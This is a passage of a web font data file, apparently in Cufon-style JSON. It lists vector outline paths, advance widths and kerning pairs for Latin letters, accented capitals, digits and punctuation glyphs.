v-16,0,-29,-18,-41,-18v-11,0,-17,10,-26,18v-11,-12,18,-41,30,-41v16,0,34,18,42,18v12,0,20,-13,29,-22xm97,-162v38,0,57,24,57,60v0,50,-30,105,-86,105v-39,0,-57,-26,-57,-62v0,-51,34,-103,86,-103xm90,-147v-40,0,-49,54,-49,86v0,25,8,48,35,48v39,0,48,-55,48,-84v0,-26,-8,-50,-34,-50","w":165,"k":{"T":30}},{"d":"159,-148r-113,206v-7,15,-38,15,-33,-7v10,-22,33,-32,45,-53r73,-128r-111,0r4,-29r135,0r0,11"},{"d":"130,-216v1,21,-36,24,-36,2v-1,-20,36,-23,36,-2xm128,-26v-13,40,-117,43,-117,-18v0,-39,31,-70,65,-74v15,-2,20,-24,21,-41r14,7r-5,56v-34,0,-67,19,-67,52v-1,24,13,37,40,33v11,-9,17,-28,35,-28v10,0,14,6,14,13","w":133},{"w":70},{"d":"160,-247r-15,0r-41,-43r37,0xm221,0r-71,0r0,-12r17,-7v1,-24,-4,-41,-7,-61r-86,0v-7,21,-24,32,-23,61v8,4,18,5,15,19r-62,0r0,-12r19,-7r108,-209r35,-6r39,215v8,4,19,4,16,19xm157,-98r-19,-111r-55,111r74,0","w":225,"k":{"T":11,"G":-6}},{"d":"162,-179v0,27,-21,48,-46,56v65,30,34,126,-44,126v-91,0,-67,-106,-7,-120v-13,-12,-26,-24,-26,-43v0,-39,36,-60,71,-60v24,0,52,13,52,41xm103,-131v36,-9,46,-72,1,-73v-19,0,-36,14,-36,34v0,16,23,31,35,39xm121,-60v0,-24,-26,-38,-44,-49v-45,11,-53,95,-1,95v30,0,45,-19,45,-46"},{"d":"131,-141v-6,31,-40,5,-46,-9v-15,0,-30,8,-30,25v0,23,67,36,67,76v0,36,-38,52,-70,52v-14,0,-48,-1,-48,-22v-1,-15,20,-23,30,-12r17,20v19,0,40,-8,40,-31v0,-28,-64,-40,-64,-74v0,-30,29,-46,57,-46v22,0,47,5,47,21","w":134,"k":{"t":-5,"s":9}},{"d":"22,-69v0,-73,76,-175,77,-174r14,0v-3,3,-64,126,-64,196v0,41,6,74,6,74r-13,0v0,0,-20,-43,-20,-96","w":118},{"d":"193,-287v6,14,-13,33,-27,36v-22,-7,-39,-24,-54,0v-8,-10,15,-30,24,-32v27,7,41,23,57,-4xm221,0r-71,0r0,-12r17,-7v1,-24,-4,-41,-7,-61r-86,0v-7,21,-24,32,-23,61v8,4,18,5,15,19r-62,0r0,-12r19,-7r108,-209r35,-6r39,215v8,4,19,4,16,19xm157,-98r-19,-111r-55,111r74,0","w":225,"k":{"T":11,"G":-6}},{"d":"88,-184v-22,3,-21,-17,-31,-26v-13,9,-15,28,-39,26r35,-46r16,0xm78,-36v-9,17,-24,39,-46,39v-19,0,-22,-22,-18,-42r18,-99v-4,-6,-12,-9,-21,-10r0,-11r54,-7r-24,139v0,5,2,10,4,10v9,0,18,-19,23,-26","w":82},{"d":"18,67v1,-35,26,-78,26,-113v0,-24,-24,-25,-44,-25r0,-10v119,16,4,-186,144,-173r0,8v-90,-1,-4,168,-107,171v28,2,36,15,36,31v-1,38,-25,81,-25,117v0,19,10,22,27,22r0,7v-31,4,-58,-3,-57,-35","w":125},{"d":"70,-144v1,25,-43,29,-43,2v-1,-25,43,-27,43,-2xm46,-18v1,25,-42,28,-42,2v0,-12,10,-21,22,-21v10,0,20,8,20,19","w":77},{"d":"162,-230r-42,44r-15,0r19,-44r38,0xm167,-36v-8,17,-18,39,-40,39v-23,0,-29,-17,-27,-34v-12,15,-23,34,-47,34v-28,0,-42,-25,-42,-51v0,-49,41,-114,92,-114v16,0,31,1,47,3r-21,122v-1,7,-3,22,5,22v8,0,19,-19,23,-26xm119,-139v-5,-4,-6,-11,-14,-11v-38,0,-65,62,-65,97v0,51,52,28,63,1","w":169},{"d":"104,-159r-5,14r-31,0v-6,40,-17,75,-20,118v0,5,0,10,3,10v9,0,19,-19,23,-26r10,7v-9,17,-25,39,-47,39v-19,0,-20,-23,-17,-42r19,-106r-28,0r5,-14r26,-7r26,-32r9,0r-7,39r34,0","w":92},{"d":"195,-185r-19,0r-8,-20v-17,-10,-45,-8,-72,-8r-14,83r57,0r9,-15r15,0r-8,50r-15,0r-4,-17r-58,0r-16,93r25,7r-1,12r-80,0r0,-12r24,-7r34,-192r-22,-7r0,-12r153,0r0,45","w":195,"k":{"\u00c1":43,"\u00c2":43,"\u00c3":43,"\u00c0":43,"\u00f8":17,"\u00e6":33,"\u00c6":70,"\u00f5":29,"\u00f6":29,"\u00f4":29,"\u00f2":29,"\u00f3":29,"\u00eb":29,"\u00ea":29,"\u00e8":29,"\u00e9":29,"\u00e5":32,"\u00e3":32,"\u00e4":32,"\u00e2":32,"\u00e0":32,"\u00e1":32,"\u00c5":43,"\u00c4":43,"z":11,"y":9,"u":18,"s":21,"r":18,"q":19,"o":29,"m":11,"e":29,"d":24,"c":17,"a":32,"W":-13,"R":13,"P":19,"L":4,"I":4,"G":7,"F":23,"E":14,"C":7,"A":43,"&":7}},{"d":"148,-217v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm91,-217v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm140,-165v14,0,19,11,16,23v-13,22,-74,169,-111,208v-10,17,-44,27,-46,-1v-1,-20,22,-19,42,-18v5,-8,13,-23,17,-33r-22,-141v-5,-7,-13,-12,-27,-11r0,-10r51,-15r21,141v-1,-8,40,-79,40,-126v0,-10,7,-17,19,-17","w":152},{"d":"144,-184v-22,3,-21,-17,-31,-26v-16,8,-22,27,-47,26r42,-46r17,0xm139,-132v0,42,-54,59,-100,59v-9,61,61,65,85,27r7,10v-19,23,-37,39,-68,39v-37,0,-54,-28,-54,-63v0,-48,40,-102,94,-102v18,0,36,10,36,30xm112,-130v0,-11,-6,-18,-16,-18v-33,0,-49,35,-55,64v30,-3,71,-18,71,-46","w":148,"k":{"\u00eb":6,"T":7}},{"d":"102,-85r-75,62r-21,0r61,-62r-39,-62r21,0","w":127},{"d":"215,-230r-5,51r-23,0r0,-25v-13,-6,-45,-15,-56,0r-33,184r26,8r0,12r-86,0r0,-12r29,-8r32,-184v-9,-17,-42,-5,-57,0r-9,25r-22,0r13,-51r191,0","w":210,"k":{"\u00d2":12,"\u00d4":12,"\u00d3":12,"\u00c1":36,"\u00c2":36,"\u00d5":12,"\u00c3":36,"\u00c0":36,"\u00f8":40,"\u00e6":40,"\u00c6":63,"\u00f5":30,"\u00f6":30,"\u00f4":30,"\u00f2":30,"\u00f3":30,"\u00ef":11,"\u00ee":11,"\u00ec":11,"\u00ed":15,"\u00eb":40,"\u00ea":40,"\u00e8":40,"\u00e9":40,"\u00e5":40,"\u00e3":40,"\u00e4":40,"\u00e2":40,"\u00e0":40,"\u00e1":40,"\u00d6":12,"\u00c5":36,"\u00c4":36,"z":25,"y":25,"x":25,"w":25,"v":25,"u":25,"t":7,"s":40,"r":18,"q":25,"p":25,"o":40,"n":25,"m":25,"i":15,"g":40,"f":11,"e":40,"d":40,"c":40,"a":40,"Y":-15,"W":-12,"U":-12,"O":12,"H":10,"G":14,"E":13,"A":36,".":25,",":25,"&":18}},{"d":"150,-126v0,35,-29,47,-56,59v26,0,45,17,45,44v0,64,-74,88,-126,89r-4,-13v37,-8,99,-20,99,-68v0,-26,-20,-40,-50,-36r-1,-14v26,-9,63,-24,63,-57v0,-22,-22,-24,-41,-24v-10,8,-16,23,-32,24v-8,0,-15,-5,-15,-14v0,-24,55,-26,73,-26v23,0,45,10,45,36"},{"d":"71,-186r-15,0r-42,-44r38,0xm78,-36v-9,17,-24,39,-46,39v-19,0,-22,-22,-18,-42r18,-99v-4,-6,-12,-9,-21,-10r0,-11r54,-7r-24,139v0,5,2,10,4,10v9,0,18,-19,23,-26","w":81},{"d":"237,-139v0,76,-58,144,-134,144v-58,0,-92,-42,-92,-96v0,-74,56,-143,134,-143v59,0,92,41,92,95xm201,-133v0,-41,-18,-81,-67,-81v-58,0,-89,65,-89,116v0,42,20,83,68,83v59,0,88,-66,88,-118","w":236,"k":{"\u00c1":8,"\u00c2":8,"\u00c3":8,"\u00c0":8,"\u00c5":8,"\u00c4":8,"d":8,"W":-23,"U":-10,"A":8,".":13,"&":-7}},{"d":"137,-184v-23,3,-24,-17,-35,-26v-15,8,-19,27,-43,26r38,-46r17,0xm163,-36v-9,17,-24,39,-46,39v-17,1,-20,-18,-17,-36v-13,14,-36,36,-57,36v-24,0,-34,-20,-29,-48r18,-93v-4,-6,-12,-9,-21,-10r0,-11r52,-7r-22,130v0,13,5,17,16,17v12,0,38,-23,46,-33r18,-107r28,0r-22,133v0,5,1,9,3,9v9,0,18,-19,23,-26","w":166},{"d":"123,-219r-25,8r-34,194v-9,49,-53,77,-76,83r-5,-7v18,-15,43,-36,49,-72r34,-198v-8,-5,-25,-2,-22,-19r79,0r0,11","w":118,"k":{"\u00c1":25,"\u00c2":25,"\u00c3":25,"\u00c0":25,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"\u00c5":25,"\u00c4":25,"o":11,"a":11,"A":25}},{"d":"64,-17v0,24,-30,53,-46,67r-7,-8v12,-13,20,-22,26,-34v-20,-8,-21,-44,7,-43v10,0,20,7,20,18","w":74},{"d":"33,-13v8,-34,41,-2,67,-2v64,0,104,-62,104,-122v0,-44,-22,-77,-69,-77v-49,0,-82,49,-82,94v0,43,29,66,72,57v-9,8,-10,21,-29,21v-45,0,-77,-27,-77,-73v0,-64,65,-119,127,-119v62,0,92,39,92,98v0,60,-49,126,-116,139r120,32r-29,29r-130,-58v-12,-3,-55,4,-50,-19","w":255,"k":{"\u00c1":29,"\u00c2":29,"\u00c3":29,"\u00c0":29,"\u00c6":41,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"\u00c5":29,"\u00c4":29,"o":11,"a":11,"A":29}},{"d":"236,-138v0,65,-62,138,-137,138r-93,0r0,-12r24,-7r34,-192r-22,-7r0,-12v98,-1,194,-13,194,92xm201,-139v0,-64,-43,-75,-105,-72r-32,182v6,6,12,10,26,10v66,0,111,-57,111,-120","w":239,"k":{"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c0":14,"\u00c5":14,"\u00c4":14,"a":9,"V":-10,"A":14}},{"d":"160,-233v9,16,-16,45,-34,45v-16,0,-29,-18,-41,-18v-11,0,-17,10,-26,18v-11,-12,18,-41,30,-41v16,0,35,18,43,18v12,0,19,-13,28,-22xm173,-36v-9,17,-25,39,-47,39v-19,1,-21,-23,-17,-42v6,-27,13,-52,15,-82v0,-10,-3,-20,-16,-20v-17,0,-34,16,-48,28r-20,113r-29,0r25,-138v-4,-6,-13,-9,-22,-10r0,-11r53,-7r-5,37v16,-15,35,-33,60,-33v31,0,34,23,29,47r-15,87v0,5,1,11,4,11v9,0,19,-19,23,-26","w":176},{"d":"139,-247r-15,0r-41,-43r38,0xm184,-230r0,45r-19,0r-7,-23v-17,-5,-40,-4,-62,-4r-14,82r51,0v5,-8,8,-18,24,-15r-8,50r-15,0r-4,-17r-52,0r-15,85v11,19,53,8,73,3r15,-23r20,0r-13,47r-152,0r0,-12r24,-7r34,-191r-22,-8r0,-12r142,0","w":184},{"d":"165,-223v0,31,-39,10,-47,-3v-34,1,-35,38,-41,67r48,0r-3,13r-47,0r-27,155v-10,58,-55,76,-63,76v-8,0,-12,-6,-12,-12v-2,-20,37,-7,40,-23r33,-196r-24,0r2,-13r25,-3v4,-47,21,-77,80,-78v11,0,36,0,36,17","w":118,"k":{"\u00f5":7,"\u00f6":7,"\u00f4":7,"\u00f2":7,"\u00f3":7,"\u00e5":14,"\u00e3":14,"\u00e4":14,"\u00e2":14,"\u00e0":14,"\u00e1":14,"u":12,"o":7,"i":15,"f":22,"e":8,"d":17,"c":9,"a":14}},{"d":"105,-182v0,29,-20,50,-49,50v-29,0,-50,-22,-50,-50v0,-30,21,-49,50,-49v29,0,49,20,49,49xm59,-142v39,-4,31,-79,-6,-80v-39,3,-31,80,6,80","w":111},{"d":"188,-290r-41,43r-15,0r18,-43r38,0xm237,-139v0,76,-58,144,-134,144v-58,0,-92,-42,-92,-96v0,-74,56,-143,134,-143v59,0,92,41,92,95xm201,-133v0,-41,-18,-81,-67,-81v-58,0,-89,65,-89,116v0,42,20,83,68,83v59,0,88,-66,88,-118","w":236},{"d":"8,6v22,0,17,27,41,26v18,0,36,-18,36,-36v0,-38,-67,-24,-67,-73v0,-29,18,-51,47,-55v-57,-26,-14,-96,41,-96v28,0,47,2,47,20v-7,32,-44,11,-51,-8v-17,2,-36,13,-36,32v0,36,73,31,73,72v0,28,-28,52,-54,56v68,30,13,104,-42,104v-16,0,-54,-1,-54,-24v0,-9,10,-18,19,-18xm71,-66v31,3,52,-56,12,-58v-34,-5,-55,57,-12,58","w":149},{"d":"139,-119r-14,74r-16,0r10,-53r-108,0r4,-21r124,0","w":142},{"d":"94,-235r-48,173r-14,0r25,-168xm47,-15v0,21,-36,24,-36,2v0,-20,36,-23,36,-2","w":93},{"d":"122,-120r-6,18r-99,0r6,-18r99,0xm116,-86r-6,17r-99,0r6,-17r99,0","w":132},{"d":"135,-165v18,0,21,14,15,25r-76,142r-28,0r-21,-129v-5,-7,-13,-12,-26,-11r0,-10r50,-15r22,136r46,-91v0,-21,-4,-47,18,-47","w":148},{"d":"204,-180r-19,0v-1,-22,-23,-33,-43,-33v-59,0,-94,62,-94,115v0,42,25,81,70,81v23,0,49,-14,59,-35r12,14v-43,74,-180,41,-175,-55v4,-92,88,-163,190,-131r0,44","w":203,"k":{"\u00c1":16,"\u00c2":16,"\u00c3":16,"\u00c0":16,"\u00c6":18,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":14,"\u00e3":14,"\u00e4":14,"\u00e2":14,"\u00e0":14,"\u00e1":14,"\u00c5":16,"\u00c4":16,"o":11,"e":12,"a":14,"Q":20,"C":16,"A":16}},{"d":"97,-146v0,73,-76,174,-77,173r-14,0v3,-3,63,-124,63,-195v0,-41,-6,-74,-6,-74r13,0v0,0,21,43,21,96","w":118},{"d":"158,-245v-23,3,-24,-16,-35,-25v-15,8,-19,27,-43,25r38,-46r17,0xm184,-230r0,45r-19,0r-7,-23v-17,-5,-40,-4,-62,-4r-14,82r51,0v5,-8,8,-18,24,-15r-8,50r-15,0r-4,-17r-52,0r-15,85v11,19,53,8,73,3r15,-23r20,0r-13,47r-152,0r0,-12r24,-7r34,-191r-22,-8r0,-12r142,0","w":184},{"d":"171,-270v0,19,-32,22,-32,2v0,-19,32,-22,32,-2xm114,-270v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm184,-230r0,45r-19,0r-7,-23v-17,-5,-40,-4,-62,-4r-14,82r51,0v5,-8,8,-18,24,-15r-8,50r-15,0r-4,-17r-52,0r-15,85v11,19,53,8,73,3r15,-23r20,0r-13,47r-152,0r0,-12r24,-7r34,-191r-22,-8r0,-12r142,0","w":184},{"d":"64,-212v0,24,-29,53,-46,67r-7,-7v12,-13,20,-23,26,-35v-20,-8,-21,-44,7,-43v10,0,20,7,20,18","w":74},{"d":"193,-179v-1,40,-26,61,-60,69r53,91v8,4,19,4,16,19r-46,0r-67,-125v37,5,66,0,71,-51v3,-31,-29,-39,-64,-36r-33,193r24,7r0,12r-81,0r0,-12r24,-7r34,-193v-8,-4,-22,-2,-19,-18v63,1,150,-13,148,51","w":205,"k":{"U":-12,"-":18}},{"d":"129,-144v0,24,-31,19,-39,3v0,0,-24,17,-30,22r-20,119r-29,0r24,-137v-5,-6,-12,-10,-22,-11r0,-11r54,-7r-6,34v12,-13,28,-33,46,-33v11,0,22,4,22,21","w":118,"k":{"\u00f5":-11,"\u00f6":-11,"\u00f4":-11,"\u00f2":-11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"t":-8,"o":11,"g":-5,"e":11,"d":14,"c":11,"a":11,";":11,",":11}},{"d":"152,-104r-4,18r-53,0r-10,51r-19,0r11,-51r-48,0r4,-18r47,0r11,-50r19,0r-11,50r53,0","w":174},{"d":"141,-132v0,42,-54,59,-100,59v-5,30,10,53,39,53v19,0,33,-13,46,-26r7,10v-19,23,-38,39,-69,39v-37,0,-53,-28,-53,-63v0,-48,40,-102,94,-102v18,0,36,10,36,30xm114,-130v0,-11,-6,-18,-16,-18v-33,0,-50,35,-56,64v30,-3,72,-18,72,-46","w":144,"k":{"\u00e9":6,"\u00e5":4,"\u00e3":4,"\u00e4":4,"\u00e2":4,"\u00e0":4,"\u00e1":4,"s":7,"e":6,"d":1,"c":11,"a":4}},{"d":"121,-147r-61,62r40,62r-21,0r-54,-62r75,-62r21,0","w":126},{"d":"186,-245v-23,3,-24,-16,-36,-25v-14,8,-18,27,-43,25r39,-46r17,0xm221,0r-71,0r0,-12r17,-7v1,-24,-4,-41,-7,-61r-86,0v-7,21,-24,32,-23,61v8,4,18,5,15,19r-62,0r0,-12r19,-7r108,-209r35,-6r39,215v8,4,19,4,16,19xm157,-98r-19,-111r-55,111r74,0","w":225,"k":{"T":11,"G":-6}},{"d":"77,32r-22,0r-24,-275r21,0","w":106},{"d":"146,-184v-22,3,-22,-17,-33,-26v-15,9,-20,28,-46,26r41,-46r17,0xm97,-162v38,0,57,24,57,60v0,50,-30,105,-86,105v-39,0,-57,-26,-57,-62v0,-51,34,-103,86,-103xm90,-147v-40,0,-49,54,-49,86v0,25,8,48,35,48v39,0,48,-55,48,-84v0,-26,-8,-50,-34,-50","w":169,"k":{"\u00f6":6,"Y":18,"T":30}},{"d":"140,-181r-47,23r12,43r-9,5r-27,-32r-41,32r-6,-5r29,-44r-37,-22r4,-8r46,6r20,-47r8,0r0,47r47,-6","w":150},{"d":"231,-105r-2,13r-18,4r-16,83v-83,22,-173,3,-173,-88v0,-96,91,-164,192,-131r0,40r-17,0v-9,-23,-21,-29,-45,-29v-104,-3,-139,194,-19,196v12,0,24,-2,36,-3r8,-61v-5,-7,-15,-9,-25,-12r2,-12r77,0","w":230,"k":{"\u00c1":18,"\u00c2":18,"\u00c3":18,"\u00c0":18,"\u00c5":18,"\u00c4":18,"U":-13,"A":18}},{"d":"167,-181r-22,33v46,60,-8,173,-95,148r-23,36r-13,-8r22,-34v-64,-52,4,-191,97,-150r21,-33xm120,-135v-6,-7,-14,-12,-26,-12v-51,3,-64,79,-44,119xm61,-17v56,20,82,-49,67,-104","w":173},{"d":"55,-37v-6,16,15,18,30,18v28,0,63,0,63,34v0,44,-51,71,-90,71v-23,0,-62,-3,-62,-34v1,-24,20,-38,45,-36v-9,6,-17,17,-17,29v0,21,23,23,38,23v25,0,55,-15,55,-43v0,-17,-16,-17,-39,-17v-24,0,-51,-2,-55,-32r27,-35v-17,-4,-38,-14,-38,-40v0,-53,63,-77,108,-54v18,-8,26,-26,52,-26r0,31r-45,0v36,39,-10,101,-65,91xm111,-118v0,-17,-9,-29,-27,-29v-31,0,-43,21,-43,49v0,20,11,26,26,26v28,0,44,-18,44,-46","w":158,"k":{"\u00e5":4,"\u00e3":4,"\u00e4":4,"\u00e2":4,"\u00e0":4,"\u00e1":4,"a":4}},{"d":"162,-159r-7,25r-84,0r-11,46v31,5,81,17,81,57v0,66,-71,96,-128,97r-4,-14v36,-6,101,-22,101,-70v0,-38,-48,-41,-75,-43r21,-98r106,0"},{"d":"235,-152v0,36,-20,104,-65,104v-19,0,-24,-13,-23,-30v-12,15,-17,30,-39,30v-24,0,-36,-21,-36,-43v0,-54,41,-113,113,-93r-14,110v0,5,0,11,6,11v27,0,39,-59,39,-80v0,-46,-27,-72,-73,-72v-62,0,-106,63,-106,120v0,64,74,106,124,64r8,7v-55,59,-158,13,-158,-67v0,-69,63,-139,135,-139v50,0,89,25,89,78xm158,-167v-4,-3,-6,-8,-12,-9v-33,0,-50,55,-50,82v0,13,7,27,21,27v13,0,24,-18,32,-27","w":246},{"d":"180,-290r-41,43r-15,0r18,-43r38,0xm247,-218r-25,7v-25,95,1,209,-126,214v-46,2,-93,-17,-83,-77r23,-137r-22,-7r0,-12r77,0r0,12r-23,7r-24,147v0,33,25,44,62,44v98,0,73,-115,96,-191r-22,-7r0,-12r67,0r0,12","w":235,"k":{"A":22}},{"d":"183,-54r-16,54r-161,0r0,-12r24,-7r34,-193r-22,-6r0,-12r79,0r0,12r-25,6r-33,186v14,18,59,7,82,1r15,-29r23,0","w":186,"k":{"Y":17,"T":21,"A":10}},{"d":"140,-165v14,0,19,11,16,23v-13,22,-74,169,-111,208v-10,17,-44,27,-46,-1v-1,-20,22,-19,42,-18v5,-8,13,-23,17,-33r-22,-141v-5,-7,-13,-12,-27,-11r0,-10r51,-15r21,141v-1,-8,40,-79,40,-126v0,-10,7,-17,19,-17","w":152,"k":{"z":8,"g":-4}},{"d":"172,-96v0,55,-46,100,-101,100v-41,0,-70,-24,-70,-67v0,-55,45,-101,100,-101v41,0,71,26,71,68xm77,-15v69,5,104,-128,19,-128v-72,-7,-106,127,-19,128"},{"d":"311,-230r0,45r-19,0r-7,-23v-17,-5,-40,-4,-62,-4r-10,82r51,0r6,-15r14,0r-4,50r-15,0r-4,-17r-51,0r-12,85v10,20,52,7,72,3r15,-23r20,0r-13,47r-153,0r0,-12r24,-7r10,-61r-78,0r-34,45r0,16v7,4,17,5,14,19r-73,0r0,-12r19,-7r148,-193r-20,-6r0,-12r162,0xm193,-211r-85,113r68,0","w":311},{"d":"141,-138v0,10,-9,16,-18,16v-15,0,-24,-25,-34,-25v-55,-2,-66,126,-14,126v20,0,35,-20,47,-34r8,9v-15,22,-34,49,-64,49v-39,0,-55,-24,-55,-63v0,-52,32,-102,87,-102v15,0,43,4,43,24","w":144,"k":{"e":5,"c":7,"a":7}},{"d":"169,-36v-9,17,-25,39,-47,39v-16,1,-21,-18,-18,-35v-21,39,-93,55,-93,-13v0,-52,45,-129,115,-116v3,-23,19,-57,-13,-58r0,-11r55,-9r-36,212v0,5,1,10,4,10v9,0,19,-19,23,-26xm123,-140v-4,-4,-7,-9,-14,-10v-37,0,-69,61,-69,97v1,53,54,27,67,1"},{"d":"109,-218v-1,35,-26,78,-26,113v0,23,24,23,43,24r1,10v-119,-16,-4,186,-145,173r1,-7v54,4,45,-66,52,-109v7,-40,7,-56,54,-60r0,-3v-28,-2,-36,-14,-36,-30v0,-37,25,-81,26,-117v0,-19,-11,-22,-27,-22r0,-8v31,-4,58,4,57,36","w":126},{"d":"148,-184v-23,3,-24,-17,-35,-26v-15,9,-19,28,-44,26r39,-46r17,0xm167,-36v-8,17,-18,39,-40,39v-23,0,-29,-17,-27,-34v-12,15,-23,34,-47,34v-28,0,-42,-25,-42,-51v0,-49,41,-114,92,-114v16,0,31,1,47,3r-21,122v-1,7,-3,22,5,22v8,0,19,-19,23,-26xm119,-139v-5,-4,-6,-11,-14,-11v-38,0,-65,62,-65,97v0,51,52,28,63,1","w":169,"k":{"T":14}},{"d":"247,-218r-25,7v-25,95,1,209,-126,214v-46,2,-93,-17,-83,-77r23,-137r-22,-7r0,-12r77,0r0,12r-23,7r-24,147v0,33,25,44,62,44v98,0,73,-115,96,-191r-22,-7r0,-12r67,0r0,12","w":235,"k":{"\u00c1":22,"\u00c2":22,"\u00c3":22,"\u00c0":22,"\u00c5":22,"\u00c4":22,"R":12,"N":7,"M":10,"D":11,"B":4,"A":22}},{"d":"82,-144v0,26,-42,28,-43,2v0,-24,42,-28,43,-2xm54,-17v0,24,-30,52,-46,67r-7,-8v12,-13,20,-22,26,-34v-20,-8,-21,-44,7,-43v10,0,20,7,20,18","w":90},{"d":"290,-218r-23,6r-18,193r22,7r0,12r-79,0r0,-12r25,-7r19,-169r-102,191r-11,0r-38,-189r-37,167r19,7r0,12r-62,0r0,-12r21,-7r47,-194r-20,-5r0,-12r55,0r36,181r95,-181r51,0r0,12","w":286,"k":{"&":-7}},{"d":"218,-218r-19,6r-85,113r-14,80r22,7r-1,12r-79,0r0,-12r26,-7r13,-76r-54,-117r-16,-6r0,-12r73,0r0,12v-7,3,-20,1,-17,15r40,85r62,-83r0,-13r-15,-4r0,-12r64,0r0,12","w":214,"k":{"\u00c1":40,"\u00c2":40,"\u00c3":40,"\u00c0":40,"\u00f8":40,"\u00e6":40,"\u00f5":40,"\u00f6":40,"\u00f4":40,"\u00f2":40,"\u00f3":40,"\u00e5":43,"\u00e3":43,"\u00e4":43,"\u00e2":43,"\u00e0":43,"\u00e1":43,"\u00c5":40,"\u00c4":40,"z":36,"y":18,"x":18,"w":18,"v":18,"u":18,"t":18,"s":40,"r":18,"q":40,"p":18,"o":40,"n":18,"m":18,"j":11,"i":11,"g":40,"f":18,"e":40,"d":40,"c":40,"a":43,"Z":13,"X":19,"S":13,"P":10,"M":23,"G":15,"E":13,"D":15,"B":21,"A":40,";":18,":":18,".":18,"-":40,",":18,"&":18}},{"d":"257,-64v0,41,-31,67,-71,67v-26,0,-47,-9,-47,-38v0,-41,30,-66,70,-66v25,0,48,8,48,37xm206,-230r-132,230r-18,0r133,-230r17,0xm129,-197v0,41,-30,67,-70,67v-25,0,-48,-8,-48,-37v0,-41,30,-67,70,-67v25,0,48,8,48,37xm230,-63v0,-17,-8,-26,-25,-26v-29,0,-41,26,-41,52v0,17,8,28,26,28v30,0,40,-28,40,-54xm103,-195v0,-17,-9,-27,-26,-27v-29,0,-41,26,-41,52v0,17,8,28,26,28v30,0,41,-27,41,-53","w":267},{"d":"149,-197r-3,14r-33,-1r-4,22r32,-1r-2,14r-33,-1r-6,33r-15,0r8,-33r-22,0r-6,33r-15,0r8,-33r-33,1r3,-14r33,1r4,-22r-33,1r4,-14r32,0r7,-33r14,0r-8,33r22,0r6,-33r15,0r-8,33r33,0xm99,-183r-20,0r-4,20r20,0","w":159},{"d":"150,-148r-37,7r-22,122r36,7r0,12r-104,0r0,-12r38,-7r21,-122r-35,-7r0,-11r103,0r0,11"},{"d":"84,-217v1,19,-32,22,-32,2v-1,-19,32,-22,32,-2xm76,-166r-31,175v-10,58,-54,76,-62,76v-8,0,-12,-6,-12,-12v0,-17,31,-8,37,-20r35,-191v-4,-6,-12,-9,-21,-10r0,-11","w":87,"k":{"e":7}},{"d":"100,-70v14,20,15,49,35,53v9,0,17,-14,22,-20r11,7v-10,30,-60,50,-75,11r-21,-53v-14,-2,-7,-19,3,-18v2,0,10,0,17,9v34,0,39,-61,3,-63v-13,0,-24,12,-34,23r-22,121r-28,0r37,-209v-5,-6,-13,-8,-22,-10r0,-11r56,-9r-18,101v18,-34,86,-31,85,17v0,28,-23,50,-49,51","w":168,"k":{"w":13}},{"d":"77,-239r-37,211v0,5,0,11,3,11v9,0,19,-19,24,-26r9,7v-9,17,-24,39,-46,39v-19,0,-20,-23,-17,-42r29,-169v-4,-7,-12,-9,-21,-11r0,-11","w":80},{"d":"78,-217v0,19,-32,21,-33,2v0,-19,32,-21,33,-2xm78,-36v-9,17,-24,39,-46,39v-19,0,-22,-22,-18,-42r18,-99v-4,-6,-12,-9,-21,-10r0,-11r54,-7r-24,139v0,5,2,10,4,10v9,0,18,-19,23,-26","w":81,"k":{"f":17}},{"d":"160,-105v-1,57,-48,124,-118,105r-11,66r25,5r0,12r-78,0r0,-12r24,-5r35,-204v-4,-6,-13,-9,-22,-10r0,-11r55,-7r-4,30v11,-13,28,-26,47,-26v28,0,47,28,47,57xm129,-102v5,-45,-52,-44,-67,-16r-16,95v38,39,89,-37,83,-79","w":169},{"d":"157,-107v0,50,-37,110,-92,110v-23,0,-38,-5,-54,-11r35,-202v-5,-5,-13,-7,-21,-9r0,-11r55,-9r-17,103v9,-10,27,-26,45,-26v33,0,49,24,49,55xm127,-99v4,-45,-48,-49,-67,-20r-17,95v37,39,90,-35,84,-75","w":163,"k":{"a":1}},{"d":"262,-219r-24,8r-34,192r22,7r0,12r-78,0r0,-12r24,-7r17,-93r-111,0r-16,93r22,7r0,12r-78,0r0,-12r24,-7r34,-192v-8,-5,-25,-2,-22,-19r78,0r0,11r-24,8r-14,81r110,0r14,-81v-8,-5,-25,-2,-22,-19r78,0r0,11","w":258,"k":{"\u00c1":14,"\u00c2":14,"\u00c3":14,"\u00c0":14,"\u00f5":11,"\u00f6":11,"\u00f4":11,"\u00f2":11,"\u00f3":11,"\u00e5":11,"\u00e3":11,"\u00e4":11,"\u00e2":11,"\u00e0":11,"\u00e1":11,"\u00c5":14,"\u00c4":14,"y":11,"u":11,"o":11,"e":25,"a":11,"U":-6,"A":14}},{"d":"156,-179r-17,0v-4,-15,-14,-26,-31,-28r-12,72v24,13,53,28,53,55v0,50,-38,71,-75,74r-8,47r-14,0r7,-46v-18,0,-35,-3,-53,-7r8,-45r17,0v-1,22,12,30,31,34r15,-86v-22,-12,-46,-25,-46,-49v0,-46,32,-62,65,-65r7,-42r15,0r-7,42v15,0,30,2,45,4r0,40xm93,-206v-32,-1,-44,51,-11,63xm77,-24v37,-2,54,-64,13,-78","w":155},{"d":"97,-162v38,0,57,24,57,60v0,50,-30,105,-86,105v-39,0,-57,-26,-57,-62v0,-51,34,-103,86,-103xm90,-147v-40,0,-49,54,-49,86v0,25,8,48,35,48v39,0,48,-55,48,-84v0,-26,-8,-50,-34,-50","w":161,"k":{"\u00f3":6,"o":6,"Y":18,"T":30}},{"d":"173,-36v-9,17,-25,39,-47,39v-19,1,-21,-23,-17,-42v6,-27,13,-52,15,-82v0,-10,-3,-20,-16,-20v-17,0,-34,16,-48,28r-20,113r-29,0r25,-138v-4,-6,-13,-9,-22,-10r0,-11r